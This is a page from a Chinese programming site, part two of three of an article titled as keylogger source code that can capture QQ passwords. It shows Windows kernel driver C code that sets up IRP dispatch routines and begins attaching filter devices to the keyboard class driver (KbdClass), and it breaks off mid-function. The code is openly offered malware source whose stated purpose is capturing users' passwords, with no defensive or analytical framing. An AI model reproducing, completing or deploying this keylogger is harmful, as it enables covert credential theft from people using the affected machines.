设为首页 加入收藏

TOP

可截获到 QQ 密码 键盘记录器源码(二)
2014-11-23 22:15:46 】 浏览:394
Tags:截获 密码 键盘 记录 源码


pDriverObject->MajorFunction[IRP_MJ_CREATE] = KMOpenClose;
pDriverObject->MajorFunction[IRP_MJ_CLOSE] = KMOpenClose;
pDriverObject->MajorFunction[IRP_MJ_PNP] = KMPnp;
pDriverObject->MajorFunction[IRP_MJ_POWER] = KMPower;
pDriverObject->MajorFunction[IRP_MJ_READ] = KMRead;


return KMAddDevice(pDriverObject, puServiceRegPath);
}


VOID KMUnload(IN PDRIVER_OBJECT pDriverObject)
{
PDEVICE_OBJECT tmpDevice;
PMY_DEVICE_EXTENSION myDeviceExtension;


KdPrint(("The unload function is invoked!\n"));


tmpDevice = pDriverObject->DeviceObject;
while (tmpDevice) {
PDEVICE_OBJECT nextDevice;


KdPrint(("delete devobj: 0x%p.\n",tmpDevice));
myDeviceExtension = (PMY_DEVICE_EXTENSION)tmpDevice->DeviceExtension;
// 如果还有完成例程没有执行,则取消掉这个完成例程
if (myDeviceExtension->IslCompletion) {
myDeviceExtension->IslCompletion->CompletionRoutine = NULL;
// 只去掉与完成例程相关的几个标志位,栈内的其它标志位非常重要,不能去除
myDeviceExtension->IslCompletion->Control &= ~(SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_ERROR);
}
IoDetachDevice(myDeviceExtension->AttachedTo);
nextDevice = tmpDevice->NextDevice;
IoDeleteDevice(tmpDevice);
tmpDevice = nextDevice;
}
}


NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{

KdPrint(("Irp: %d\n", IoGetCurrentIrpStackLocation(Irp)->MajorFunction));

IoSkipCurrentIrpStackLocation(Irp);
return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}


NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
KdPrint(("KMOpenClose.\n"));


Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);

return STATUS_SUCCESS;
}


NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
PIO_STACK_LOCATION pIo = IoGetCurrentIrpStackLocation(Irp);


KdPrint(("KMPnp.\n"));

switch (pIo->MinorFunction) {
default:
IoSkipCurrentIrpStackLocation(Irp);
IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
break;
}


return STATUS_SUCCESS;
}


NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
KdPrint(("KMPower.\n"));


IoSkipCurrentIrpStackLocation(Irp);
PoStartNextPowerIrp(Irp);
return PoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}


NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
UNICODE_STRING usObjectName;
PDRIVER_OBJECT KbdDriver;
NTSTATUS status;
PDEVICE_OBJECT tmpDevice, myDevice;
UNICODE_STRING usDeviceName;
WCHAR buff[64];
int index = 0;
PMY_DEVICE_EXTENSION DeviceExtension;


RtlInitUnicodeString(&usObjectName, L"\\Driver\\KbdClass");


status = ObReferenceObjectByName(&usObjectName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
(PVOID)&KbdDriver);
if (!NT_SUCCESS(status)) {
KdPrint(("Find the kbd class failed!\n"));
return status;
}


tmpDevice = KbdDriver->DeviceObject;
while (tmpDevice) {
swprintf(buff, L"\\Device\\MyDevice%d", index++);
RtlInitUnicodeString(&usDeviceName, buff);

首页 上一页 1 2 3 下一页 尾页 2/3/3
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇详解Java定时任务 下一篇获取其它进程密码框中的密码

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目